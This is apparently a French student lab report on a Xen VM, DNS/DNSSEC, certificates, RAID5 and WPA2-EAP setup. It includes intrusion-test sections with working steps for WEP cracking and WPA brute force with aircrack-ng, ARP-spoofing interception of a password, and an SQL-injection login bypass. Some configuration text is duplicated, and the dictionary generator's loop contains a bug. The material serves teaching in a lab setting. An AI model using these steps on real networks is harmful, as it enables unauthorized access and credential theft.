directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-15T14:03:53Z

Lchenu : /* Configuration de la VM */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid
//Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

